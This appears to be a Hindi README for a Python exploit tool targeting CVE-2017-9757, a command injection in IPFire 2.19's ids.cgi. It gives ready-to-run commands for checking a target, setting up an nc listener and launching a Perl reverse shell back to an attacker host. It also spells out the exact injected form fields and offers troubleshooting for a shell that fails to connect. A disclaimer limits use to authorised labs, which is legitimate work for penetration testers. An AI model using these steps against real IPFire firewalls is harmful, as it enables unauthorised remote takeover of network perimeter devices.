
यह एक्सप्लॉइट CVE-2017-9757 पर आधारित है और इसे 0x09AL द्वारा बनाए गए मूल एक्सप्लॉइट के ऊपर बनाया गया है।
IPFire 2.19 के ids.cgi पृष्ठ में OINKCODE पैरामीटर के माध्यम से प्रमाणित कमांड-इंजेक्शन भेद्यता के लिए Python प्रूफ ऑफ कॉन्सेप्ट।
केवल अधिकृत सुरक्षा परीक्षण और प्रशिक्षण प्रयोगशालाओं के लिए। इस PoC को केवल उन्हीं प्रणालियों पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की आपके पास स्पष्ट अनुमति है। लेखक इस कोड के कारण होने वाले दुरुपयोग या क्षति के लिए उत्तरदायी नहीं है।
IPFire 2.19, /cgi-bin/ids.cgi द्वारा संसाधित OINKCODE पैरामीटर में OS कमांड इंजेक्शन के प्रति संवेदनशील है। यह पैरामीटर उचित निष्प्रभावीकरण के बिना शेल कमांड में शामिल किया जाता है, जिससे एक प्रमाणित उपयोगकर्ता IPFire होस्ट पर कमांड निष्पादित कर सकता है।
इस भेद्यता को सामान्यतः CVE-2017-9757 के रूप में पहचाना जाता है और यह CWE-78: OS कमांड में प्रयुक्त विशेष तत्वों का अनुचित निष्प्रभावीकरण ('OS कमांड इंजेक्शन') से मेल खाती है।
मूल सार्वजनिक PoC का परीक्षण IPFire 2.19 Core Update 110 पर किया गया था। Metasploit मॉड्यूल IPFire 2.19 तक के संस्करणों को Core Update 110 के साथ अपनी समर्थित जाँच सीमा के भीतर मानता है।
Exploit-DB का मूल Python PoC निम्न का उपयोग करके एक सत्यापन अनुरोध करता है:
OINKCODE = '`id`'
फिर यह केवल तभी लक्ष्य को संवेदनशील घोषित करता है जब HTTP प्रतिक्रिया में निम्न शामिल हो:
uid=99(nobody)
यह सत्यापन अविश्वसनीय है। कमांड निष्पादित हो सकती है जबकि उसका आउटपुट CGI द्वारा निर्मित शेल कमांड द्वारा उपभोग किया जाता है, बजाय क्लाइंट को लौटाई गई HTML प्रतिक्रिया में प्रतिबिंबित होने के। परिणामस्वरूप, सर्वर id का आउटपुट शामिल किए बिना एक सामान्य HTTP 200 पृष्ठ लौटा सकता है, जिससे गलत नकारात्मक परिणाम उत्पन्न होता है।
यह कार्यान्वयन Metasploit मॉड्यूल द्वारा उपयोग किए गए सत्यापन तर्क का पालन करता है:
/cgi-bin/pakfire.cgi का अनुरोध करें।<= 2.19 और Core Update <= 110 को संवेदनशील प्रतीत होने वाले के रूप में मानें।OINKCODE फ़ील्ड में /cgi-bin/ids.cgi पर भेजें।200 प्रतिक्रिया को अस्वीकृत अनुरोध या प्रमाणीकरण समस्या के रूप में मानें।uid=99(nobody) के लिए HTML बॉडी का निरीक्षण न करें।PoC एक Perl कमांड-शेल पेलोड का भी उपयोग करता है, जो Metasploit मॉड्यूल द्वारा समर्थित कमांड पेलोड परिवार से मेल खाता है। एक सफल HTTP प्रतिक्रिया अपने आप में यह सिद्ध नहीं करती कि रिवर्स शेल जुड़ गया; listener और नेटवर्क पथ की भी पुष्टि की जानी चाहिए।
Metasploit मॉड्यूल की महत्वपूर्ण सफलता कसौटी यह है कि एक अप्रत्याशित प्रतिक्रिया कोड अमान्य क्रेडेंशियल या अस्वीकृत अनुरोध का संकेत देता है। इसके लिए प्रतिक्रिया बॉडी में इंजेक्ट किए गए कमांड का आउटपुट होना आवश्यक नहीं है।
requestsperl के रूप में उपलब्धPython निर्भरता स्थापित करें:
python3 -m pip install requests
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--check-only \
--insecure
जब --password प्रदान नहीं किया जाता है तो पासवर्ड इंटरैक्टिव रूप से माँगा जाता है। यह अनुशंसित है क्योंकि किसी कमांड में सीधे पासवर्ड डालने से वह शेल इतिहास या प्रोसेस सूची के माध्यम से उजागर हो सकता है।
--lhost और --lport के रूप में प्रदान किए गए पते और पोर्ट पर एक listener का उपयोग करें:
rlwrap nc -lvnp 4444
यदि rlwrap स्थापित नहीं है, तो उपयोग करें:
nc -lvnp 4444
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
सामान्य IPFire self-signed HTTPS प्रमाणपत्र के लिए, --insecure/-k आवश्यक है। इसका उपयोग केवल तभी करें जब प्रयोगशाला में जानबूझकर प्रमाणपत्र सत्यापन संभव न हो।
लक्ष्य को पूर्ण बेस URL के रूप में भी प्रदान किया जा सकता है:
python3 ipfire_oinkcode_rce.py \
--target https://192.0.2.10:444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--insecure
इसका उपयोग केवल तभी करें जब IPFire संस्करण की पहले ही स्वतंत्र रूप से पुष्टि हो चुकी हो:
python3 ipfire_oinkcode_rce.py \
--target 192.0.2.10 \
--web-port 444 \
--username admin \
--lhost 192.0.2.20 \
--lport 4444 \
--skip-version-check \
--insecure
यदि Perl लक्ष्य के डिफ़ॉल्ट PATH में नहीं है, तो उसका पूर्ण पथ प्रदान करें:
--perl-path /usr/bin/perl
ids.cgi से HTTP 200इसका अर्थ है कि HTTP अनुरोध को CGI द्वारा उसी व्यावहारिक कसौटी के अनुसार स्वीकार किया गया था जिसका उपयोग Metasploit मॉड्यूल करता है। एक सामान्य HTML प्रतिक्रिया अपेक्षित है और यह प्रमाण नहीं है कि भेद्यता जाँच विफल रही।
शेल के लिए listener की जाँच करें। यदि कोई शेल नहीं आता है, तो callback पता, रूटिंग, फ़ायरवॉल egress नियम, Perl उपलब्धता और चयनित पोर्ट की जाँच करें।
HTTP 401 या HTTP 403अनुरोध अधिकृत नहीं था। उपयोगकर्ता नाम, पासवर्ड, लक्ष्य URL, पोर्ट और यह जाँचें कि खाता IPFire वेब इंटरफ़ेस तक पहुँच सकता है या नहीं।
HTTP 404लक्ष्य URL या CGI पथ संभवतः गलत है, या सेवा अपेक्षित IPFire वेब इंटरफ़ेस नहीं है।
स्क्रिप्ट pakfire.cgi में अपेक्षित संस्करण स्ट्रिंग नहीं ढूँढ सकी। --skip-version-check का उपयोग करने से पहले लक्ष्य की मैन्युअल रूप से पुष्टि करें।
इंजेक्ट किया गया कमांड callback का प्रयास करते समय CGI अनुरोध को खुला रख सकता है। इसे शेल का निश्चित प्रमाण नहीं, बल्कि listener की जाँच करने के संकेत के रूप में लें।
स्क्रिप्ट HTTP Basic Authentication का उपयोग करती है और ids.cgi को निम्नलिखित फ़ॉर्म फ़ील्ड भेजती है:
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort
कमांड बैकटिक्स में संलग्न है क्योंकि संवेदनशील एप्लिकेशन OINKCODE मान को शेल कमांड में पास करता है। सटीक अनुरोध व्यवहार लक्ष्य संस्करण और उसके स्थानीय कॉन्फ़िगरेशन पर निर्भर करता है।
200 प्रतिक्रिया पुष्टि करती है कि अनुरोध स्वीकार किया गया था, यह नहीं कि रिवर्स शेल listener तक पहुँच गया।ipfire_oinkcode_exec.rbयह परियोजना 0x09AL द्वारा किए गए सार्वजनिक शोध और प्रूफ ऑफ कॉन्सेप्ट तथा Metasploit समुदाय द्वारा अनुरक्षित Metasploit मॉड्यूल पर आधारित एक शैक्षिक Python कार्यान्वयन है। यह IPFire, Exploit-DB या Rapid7 से संबद्ध नहीं है और न ही इनके द्वारा समर्थित है।
| विशेषता | Exploit-DB 42149 Python PoC | Exploit-DB 42369 / Metasploit | यह PoC |
|---|
| संवेदनशील endpoint | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi | /cgi-bin/ids.cgi |
| संस्करण जाँच | कोई नहीं | GET /cgi-bin/pakfire.cgi | वही Metasploit-शैली जाँच |
| प्रमाणीकरण | Basic Auth | Basic Auth हेडर | requests.Session के माध्यम से Basic Auth |
| प्रारंभिक सत्यापन | `id` निष्पादित करता है और प्रतिक्रिया बॉडी खोजता है | संस्करण जाँचता है, फिर पेलोड भेजता है | संस्करण जाँचता है और HTTP परिणाम कोड का उपयोग करता है |
| गलत-नकारात्मक जोखिम | उच्च: uid=99(nobody) के प्रतिबिंबित होने पर निर्भर करता है | बॉडी-सामग्री सत्यापन से बचता है | बॉडी-सामग्री सत्यापन से बचता है |
| रिवर्स शेल | Bash /dev/tcp | Metasploit Unix कमांड पेलोड | Perl IO::Socket::INET कमांड शेल |
| TLS हैंडलिंग | PoC में प्रमाणपत्र सत्यापन अक्षम | SSL डिफ़ॉल्ट रूप से सक्षम | सत्यापन केवल -k/--insecure के साथ अक्षम होता है |
| कॉन्फ़िगरेशन | मान स्रोत में संपादित किए जाते हैं | Metasploit विकल्प | कमांड-लाइन तर्क |
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|
-t, --target | आवश्यक | लक्ष्य होस्ट/IP या पूर्ण बेस URL |
--scheme | https | जब लक्ष्य केवल होस्ट/IP हो तो उपयोग की जाने वाली scheme |
--web-port | 444 | IPFire वेब इंटरफ़ेस पोर्ट |
-u, --username | admin | IPFire उपयोगकर्ता नाम |
-p, --password | Prompt | पासवर्ड; इसे बिना echo किए दर्ज करने के लिए छोड़ दें |
--lhost | आवश्यक | IPFire से पहुँच योग्य listener पता |
--lport | 4444 | Listener पोर्ट |
--perl-path | perl | लक्ष्य पर Perl निष्पादन योग्य |
--timeout | 10 | सेकंड में HTTP टाइमआउट |
-k, --insecure | अक्षम | TLS प्रमाणपत्र सत्यापन अक्षम करें |
--skip-version-check | अक्षम | pakfire.cgi जाँच छोड़ें |
--check-only | अक्षम | केवल संस्करण जाँच करें |